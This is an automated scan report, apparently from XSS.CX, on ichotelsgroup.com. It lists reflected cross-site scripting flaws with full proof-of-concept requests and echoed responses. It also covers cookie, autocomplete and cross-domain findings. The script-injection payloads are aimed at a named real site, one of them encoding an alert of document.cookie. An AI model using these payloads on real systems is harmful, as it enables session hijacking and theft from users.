ichotelsgroup.com | CWE-79 | XSS | Vulnerability Crawler

Loading

Cross Site Scripting, XSS, Vulnerability Crawler

Report generated by XSS.CX at Fri Dec 10 14:46:27 CST 2010.


Cross Site Scripting in ichotelsgroup.com

1. Cross-site scripting (reflected)

1.1. http://www.ichotelsgroup.com/h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html [REST URL parameter 15]

1.2. http://www.ichotelsgroup.com/h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html [REST URL parameter 15]

1.3. http://www.ichotelsgroup.com/h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html [REST URL parameter 7]

1.4. http://www.ichotelsgroup.com/h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html [REST URL parameter 7]

1.5. http://www.ichotelsgroup.com/h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html [cm_mmc parameter]

1.6. http://www.ichotelsgroup.com/h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html [name of an arbitrarily supplied request parameter]

2. Cookie scoped to parent domain

3. Cookie without HttpOnly flag set

4. Password field with autocomplete enabled

4.1. http://www.ichotelsgroup.com/h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html

4.2. http://www.ichotelsgroup.com/h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.htmlac455%22%3E%3Cscript%3Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%3C/script%3E99616fd145d

5. Cross-domain Referer leakage

6. Cross-domain script include

6.1. http://www.ichotelsgroup.com/h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html

6.2. http://www.ichotelsgroup.com/h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.htmlac455%22%3E%3Cscript%3Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%3C/script%3E99616fd145d

7. Content type incorrectly stated



1. Cross-site scripting (reflected)  next
There are 6 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.ichotelsgroup.com/h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html [REST URL parameter 15]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ichotelsgroup.com
Path:   /h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html

Issue detail

The value of REST URL parameter 15 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 83729'><script>alert(1)</script>6a83d7b3e52 was submitted in the REST URL parameter 15. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html83729'><script>alert(1)</script>6a83d7b3e52 HTTP/1.1
Host: www.ichotelsgroup.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/1.3.41 (Unix) Communique/4.0.4 mod_ssl/2.8.31 OpenSSL/0.9.8a
P3P: CP="OTI DSP COR DEVa OUR NOR",policyref="http://dcs.ichotelsgroup.com/w3c/p3p.xml"
Expires: Fri, 10 Dec 2010 20:35:24 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Fri, 10 Dec 2010 20:35:24 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: TLTSID=03B6AEFA049D10040008FFC09C81CE92; Path=/; Domain=.ichotelsgroup.com
Set-Cookie: TLTUID=03B6AEFA049D10040008FFC09C81CE92; Path=/; Domain=.ichotelsgroup.com; expires=Fri, 10-12-2020 20:35:23 GMT
Set-Cookie: JSESSIONID=4OTQEXQLFPDRACTGWA2SHPQKM0YBCIY4; domain=.ichotelsgroup.com; path=/
Set-Cookie: singleSignOnLogoutParam=; domain=ichotelsgroup.com; expires=Fri, 12-Dec-2003 20:35:24 GMT; path=/
Content-Type: text/html; charset=utf-8
Content-Length: 88275


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<HTML DIR="ltr" xmlns="http://www.w3.org/1999/xhtml">

<head>



...[SNIP]...
<input type="hidden" name="loginSuccessURL" value='/h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html83729'><script>alert(1)</script>6a83d7b3e52?secure=true'>
...[SNIP]...

1.2. http://www.ichotelsgroup.com/h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html [REST URL parameter 15]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ichotelsgroup.com
Path:   /h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html

Issue detail

The value of REST URL parameter 15 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac455"><script>alert(1)</script>99616fd145d was submitted in the REST URL parameter 15. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.htmlac455"><script>alert(1)</script>99616fd145d HTTP/1.1
Host: www.ichotelsgroup.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/1.3.41 (Unix) Communique/4.0.4 mod_ssl/2.8.31 OpenSSL/0.9.8a
P3P: CP="OTI DSP COR DEVa OUR NOR",policyref="http://dcs.ichotelsgroup.com/w3c/p3p.xml"
Expires: Fri, 10 Dec 2010 20:35:22 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Fri, 10 Dec 2010 20:35:22 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: TLTSID=02FAFF48049D10041EF2A91B5197FDF3; Path=/; Domain=.ichotelsgroup.com
Set-Cookie: TLTUID=02FAFF48049D10041EF2A91B5197FDF3; Path=/; Domain=.ichotelsgroup.com; expires=Fri, 10-12-2020 20:35:22 GMT
Set-Cookie: JSESSIONID=Y42BI0IUFGJFCCTGWAISJBQKM0YBEIY4; domain=.ichotelsgroup.com; path=/
Set-Cookie: singleSignOnLogoutParam=; domain=ichotelsgroup.com; expires=Fri, 12-Dec-2003 20:35:22 GMT; path=/
Content-Type: text/html; charset=utf-8
Content-Length: 88277


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<HTML DIR="ltr" xmlns="http://www.w3.org/1999/xhtml">

<head>



...[SNIP]...
<input name="errorURL" type="hidden" value="/h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.htmlac455"><script>alert(1)</script>99616fd145d">
...[SNIP]...

1.3. http://www.ichotelsgroup.com/h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html [REST URL parameter 7]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ichotelsgroup.com
Path:   /h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload d0400'><script>alert(1)</script>7ac7d5152c6 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /h/d/6c/1/en/c/1d0400'><script>alert(1)</script>7ac7d5152c6/content/dec/teaser/6c/1/en/lp/freebag.html?cm_mmc=USSM-_-CIF_2010-_-SB_noDMA-_-MediaMath_Look-a-likeModeling_180x150 HTTP/1.1
Host: www.ichotelsgroup.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/1.3.41 (Unix) Communique/4.0.4 mod_ssl/2.8.31 OpenSSL/0.9.8a
P3P: CP="OTI DSP COR DEVa OUR NOR",policyref="http://dcs.ichotelsgroup.com/w3c/p3p.xml"
Expires: Fri, 10 Dec 2010 20:34:20 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Fri, 10 Dec 2010 20:34:20 GMT
Content-Length: 28237
Connection: close
Set-Cookie: TLTSID=DDF5FFF4049C1004000CE11A9A5CC4F6; Path=/; Domain=.ichotelsgroup.com
Set-Cookie: TLTUID=DDF5FFF4049C1004000CE11A9A5CC4F6; Path=/; Domain=.ichotelsgroup.com; expires=Fri, 10-12-2020 20:34:20 GMT
Set-Cookie: JSESSIONID=I0ROC4VXJGQMECTGWA0SJ0QKM0YDMIY4; domain=.ichotelsgroup.com; path=/
Set-Cookie: singleSignOnLogoutParam=; domain=ichotelsgroup.com; expires=Fri, 12-Dec-2003 20:34:20 GMT; path=/
Content-Type: text/html; charset=utf-8


<!-- CQCONTENT: /dec/6c/1/en -->
<!-- CQCONTENT: /dec/6c/1/en/rd -->
<!-- CQCONTENT: /dec/6c/1/en/fth -->


<HTML DIR="ltr" xmlns="http://www.w3.org/1999/xhtml">



...[SNIP]...
<input type="hidden" name="loginSuccessURL" value='/h/d/6c/1/en/c/1d0400'><script>alert(1)</script>7ac7d5152c6/content/dec/teaser/6c/1/en/lp/freebag.html?cm_mmc=USSM-_-CIF_2010-_-SB_noDMA-_-MediaMath_Look-a-likeModeling_180x150&secure=true'>
...[SNIP]...

1.4. http://www.ichotelsgroup.com/h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html [REST URL parameter 7]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ichotelsgroup.com
Path:   /h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html

Issue detail

The value of REST URL parameter 7 is copied into an HTML comment. The payload 970eb--><script>alert(1)</script>5845e77664e was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /h/d/6c/1/en/c/1970eb--><script>alert(1)</script>5845e77664e/content/dec/teaser/6c/1/en/lp/freebag.html?cm_mmc=USSM-_-CIF_2010-_-SB_noDMA-_-MediaMath_Look-a-likeModeling_180x150 HTTP/1.1
Host: www.ichotelsgroup.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/1.3.41 (Unix) Communique/4.0.4 mod_ssl/2.8.31 OpenSSL/0.9.8a
P3P: CP="OTI DSP COR DEVa OUR NOR",policyref="http://dcs.ichotelsgroup.com/w3c/p3p.xml"
Expires: Fri, 10 Dec 2010 20:34:21 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Fri, 10 Dec 2010 20:34:21 GMT
Content-Length: 28239
Connection: close
Set-Cookie: TLTSID=DE76669E049C1004137780AA75718803; Path=/; Domain=.ichotelsgroup.com
Set-Cookie: TLTUID=DE76669E049C1004137780AA75718803; Path=/; Domain=.ichotelsgroup.com; expires=Fri, 10-12-2020 20:34:21 GMT
Set-Cookie: JSESSIONID=OXFHKH3N4ZWLQCTGWA2SIIQKM0YBCIY4; domain=.ichotelsgroup.com; path=/
Set-Cookie: singleSignOnLogoutParam=; domain=ichotelsgroup.com; expires=Fri, 12-Dec-2003 20:34:21 GMT; path=/
Content-Type: text/html; charset=utf-8


<!-- CQCONTENT: /dec/6c/1/en -->
<!-- CQCONTENT: /dec/6c/1/en/rd -->
<!-- CQCONTENT: /dec/6c/1/en/fth -->


<HTML DIR="ltr" xmlns="http://www.w3.org/1999/xhtml">



...[SNIP]...
<!-- Path: /6c/1/en/c/1970eb--><script>alert(1)</script>5845e77664e/content/dec/teaser/6c/1/en/lp/freebag.html -->
...[SNIP]...

1.5. http://www.ichotelsgroup.com/h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html [cm_mmc parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ichotelsgroup.com
Path:   /h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html

Issue detail

The value of the cm_mmc request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 808ac'><script>alert(1)</script>a30eb041d6c was submitted in the cm_mmc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html?cm_mmc=USSM-_-CIF_2010-_-SB_noDMA-_-MediaMath_Look-a-likeModeling_180x150808ac'><script>alert(1)</script>a30eb041d6c HTTP/1.1
Host: www.ichotelsgroup.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/1.3.41 (Unix) Communique/4.0.4 mod_ssl/2.8.31 OpenSSL/0.9.8a
P3P: CP="OTI DSP COR DEVa OUR NOR",policyref="http://dcs.ichotelsgroup.com/w3c/p3p.xml"
Expires: Fri, 10 Dec 2010 20:34:19 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Fri, 10 Dec 2010 20:34:19 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: TLTSID=DD3AED86049C100400439C2B6DA0145D; Path=/; Domain=.ichotelsgroup.com
Set-Cookie: TLTUID=DD3AED86049C100400439C2B6DA0145D; Path=/; Domain=.ichotelsgroup.com; expires=Fri, 10-12-2020 20:34:19 GMT
Set-Cookie: JSESSIONID=TFP54RZ10NKLKCTGWA0SIIQKM0YDMIY4; domain=.ichotelsgroup.com; path=/
Set-Cookie: singleSignOnLogoutParam=; domain=ichotelsgroup.com; expires=Fri, 12-Dec-2003 20:34:19 GMT; path=/
Content-Type: text/html; charset=utf-8
Content-Length: 88359


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<HTML DIR="ltr" xmlns="http://www.w3.org/1999/xhtml">

<head>



...[SNIP]...
<input type="hidden" name="loginSuccessURL" value='/h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html?cm_mmc=USSM-_-CIF_2010-_-SB_noDMA-_-MediaMath_Look-a-likeModeling_180x150808ac'><script>alert(1)</script>a30eb041d6c&secure=true'>
...[SNIP]...

1.6. http://www.ichotelsgroup.com/h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ichotelsgroup.com
Path:   /h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload f7f22'><script>alert(1)</script>20ade647545 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html?cm_mmc=USSM-_-CIF_2010-_-SB_noDMA-_-MediaMath_Look-a-likeModeling_180x150&f7f22'><script>alert(1)</script>20ade647545=1 HTTP/1.1
Host: www.ichotelsgroup.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/1.3.41 (Unix) Communique/4.0.4 mod_ssl/2.8.31 OpenSSL/0.9.8a
P3P: CP="OTI DSP COR DEVa OUR NOR",policyref="http://dcs.ichotelsgroup.com/w3c/p3p.xml"
Expires: Fri, 10 Dec 2010 20:34:20 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Fri, 10 Dec 2010 20:34:20 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: TLTSID=DD9E5EDE049C10040061948D9AA9EACA; Path=/; Domain=.ichotelsgroup.com
Set-Cookie: TLTUID=DD9E5EDE049C10040061948D9AA9EACA; Path=/; Domain=.ichotelsgroup.com; expires=Fri, 10-12-2020 20:34:20 GMT
Set-Cookie: JSESSIONID=ADCG1RHRIGQNUCTGWA0SJBQKM0YDMIY4; domain=.ichotelsgroup.com; path=/
Set-Cookie: singleSignOnLogoutParam=; domain=ichotelsgroup.com; expires=Fri, 12-Dec-2003 20:34:20 GMT; path=/
Content-Type: text/html; charset=utf-8
Content-Length: 88362


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<HTML DIR="ltr" xmlns="http://www.w3.org/1999/xhtml">

<head>



...[SNIP]...
<input type="hidden" name="loginSuccessURL" value='/h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html?cm_mmc=USSM-_-CIF_2010-_-SB_noDMA-_-MediaMath_Look-a-likeModeling_180x150&f7f22'><script>alert(1)</script>20ade647545=1&secure=true'>
...[SNIP]...

2. Cookie scoped to parent domain  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.ichotelsgroup.com
Path:   /h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html HTTP/1.1
Host: www.ichotelsgroup.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/1.3.41 (Unix) Communique/4.0.4 mod_ssl/2.8.31 OpenSSL/0.9.8a
P3P: CP="OTI DSP COR DEVa OUR NOR",policyref="http://dcs.ichotelsgroup.com/w3c/p3p.xml"
Expires: Fri, 10 Dec 2010 20:33:58 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Fri, 10 Dec 2010 20:33:58 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: TLTSID=D06A8350049C100402D5B18264BB7A73; Path=/; Domain=.ichotelsgroup.com
Set-Cookie: TLTUID=D06A8350049C100402D5B18264BB7A73; Path=/; Domain=.ichotelsgroup.com; expires=Fri, 10-12-2020 20:33:57 GMT
Set-Cookie: JSESSIONID=MBZWGDNEFJWSECTGWAISIIQKM0YBEIY4; domain=.ichotelsgroup.com; path=/
Set-Cookie: singleSignOnLogoutParam=; domain=ichotelsgroup.com; expires=Fri, 12-Dec-2003 20:33:57 GMT; path=/
Content-Type: text/html; charset=utf-8
Content-Length: 88136


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<HTML DIR="ltr" xmlns="http://www.w3.org/1999/xhtml">

<head>



...[SNIP]...

3. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.ichotelsgroup.com
Path:   /h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html HTTP/1.1
Host: www.ichotelsgroup.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/1.3.41 (Unix) Communique/4.0.4 mod_ssl/2.8.31 OpenSSL/0.9.8a
P3P: CP="OTI DSP COR DEVa OUR NOR",policyref="http://dcs.ichotelsgroup.com/w3c/p3p.xml"
Expires: Fri, 10 Dec 2010 20:33:58 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Fri, 10 Dec 2010 20:33:58 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: TLTSID=D06A8350049C100402D5B18264BB7A73; Path=/; Domain=.ichotelsgroup.com
Set-Cookie: TLTUID=D06A8350049C100402D5B18264BB7A73; Path=/; Domain=.ichotelsgroup.com; expires=Fri, 10-12-2020 20:33:57 GMT
Set-Cookie: JSESSIONID=MBZWGDNEFJWSECTGWAISIIQKM0YBEIY4; domain=.ichotelsgroup.com; path=/
Set-Cookie: singleSignOnLogoutParam=; domain=ichotelsgroup.com; expires=Fri, 12-Dec-2003 20:33:57 GMT; path=/
Content-Type: text/html; charset=utf-8
Content-Length: 88136


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<HTML DIR="ltr" xmlns="http://www.w3.org/1999/xhtml">

<head>



...[SNIP]...

4. Password field with autocomplete enabled  previous  next
There are 2 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).


4.1. http://www.ichotelsgroup.com/h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.ichotelsgroup.com
Path:   /h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html HTTP/1.1
Host: www.ichotelsgroup.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/1.3.41 (Unix) Communique/4.0.4 mod_ssl/2.8.31 OpenSSL/0.9.8a
P3P: CP="OTI DSP COR DEVa OUR NOR",policyref="http://dcs.ichotelsgroup.com/w3c/p3p.xml"
Expires: Fri, 10 Dec 2010 20:33:58 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Fri, 10 Dec 2010 20:33:58 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: TLTSID=D06A8350049C100402D5B18264BB7A73; Path=/; Domain=.ichotelsgroup.com
Set-Cookie: TLTUID=D06A8350049C100402D5B18264BB7A73; Path=/; Domain=.ichotelsgroup.com; expires=Fri, 10-12-2020 20:33:57 GMT
Set-Cookie: JSESSIONID=MBZWGDNEFJWSECTGWAISIIQKM0YBEIY4; domain=.ichotelsgroup.com; path=/
Set-Cookie: singleSignOnLogoutParam=; domain=ichotelsgroup.com; expires=Fri, 12-Dec-2003 20:33:57 GMT; path=/
Content-Type: text/html; charset=utf-8
Content-Length: 88136


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<HTML DIR="ltr" xmlns="http://www.w3.org/1999/xhtml">

<head>



...[SNIP]...
<table border="0" cellpadding="0" cellspacing="0" width="100%">
   <form action="https://secure.ichotelsgroup.com/h/d/6c/1/en/loginm?secure=true" method="POST" onsubmit="return validateAndSubmitLogin(this);">
       
           
                                                                    <input type="hidden" name="loginSuccessURL" value='/h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.html?secure=true'>
...[SNIP]...
<td class="login10" style="background-color: #285994" height="21" valign="top" align="left" nowrap><input name="password" id="pclubpin" size="2" maxlength="4" type="password" class="f10" tabindex="2"></td>
...[SNIP]...

4.2. http://www.ichotelsgroup.com/h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.htmlac455%22%3E%3Cscript%3Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%3C/script%3E99616fd145d  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.ichotelsgroup.com
Path:   /h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.htmlac455%22%3E%3Cscript%3Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%3C/script%3E99616fd145d

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /h/d/6c/1/en/c/1/content/dec/teaser/6c/1/en/lp/freebag.htmlac455%22%3E%3Cscript%3Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%3C/script%3E99616fd145d HTTP/1.1
Host: www.ichotelsgroup.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TLTSID=02FAFF48049D10041EF2A91B5197FDF3; TLTUID=02FAFF48049D10041EF2A91B5197FDF3; JSESSIONID=Y42BI0IUFGJFCCTGWAISJBQKM0YBEIY4; __utmv=1.anonymous_6c_1_en; __utma=1.328385899.1292013511.1292013511.1292013511.1; __utmb=1; __utmc=1; __utmz=1.1292013511.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; mbox=session#1292013511294-63070#1292015372|check#true#1292013572; I5GS=0; cmRS=t3=1292013530934&pi=c%7C/content/dec/teaser/6c/1/en/lp/freebag

Response

HTTP/1.1 200 OK
Server: Apache/1.3.41 (Unix) Communique/4.0.4 mod_ssl/2.8.31 OpenSSL/0.9.8a
P3P: CP="OTI DSP COR DEVa OUR NOR",policyref="http://dcs.ichotelsgroup.com/w3c/p3p.xml"
Expires: Fri, 10 Dec 2010 20:39:39 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Fri, 10 Dec 2010 20:39:39 GMT
Connection: close
Vary: Accept-Encoding
Connection: Transfer-Encoding
Set-Cookie: singleSignOnLogoutParam=; domain=ichotelsgroup.com; expires=Fri, 12-Dec-2003 20:39:39 GMT; path=/
Content-Type: text/html; charset=utf-8
Content-Length: 88439


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<HTML DIR="ltr" xmlns="http://www.w3.org/1999/xhtml">

<head>



...[SNIP]...
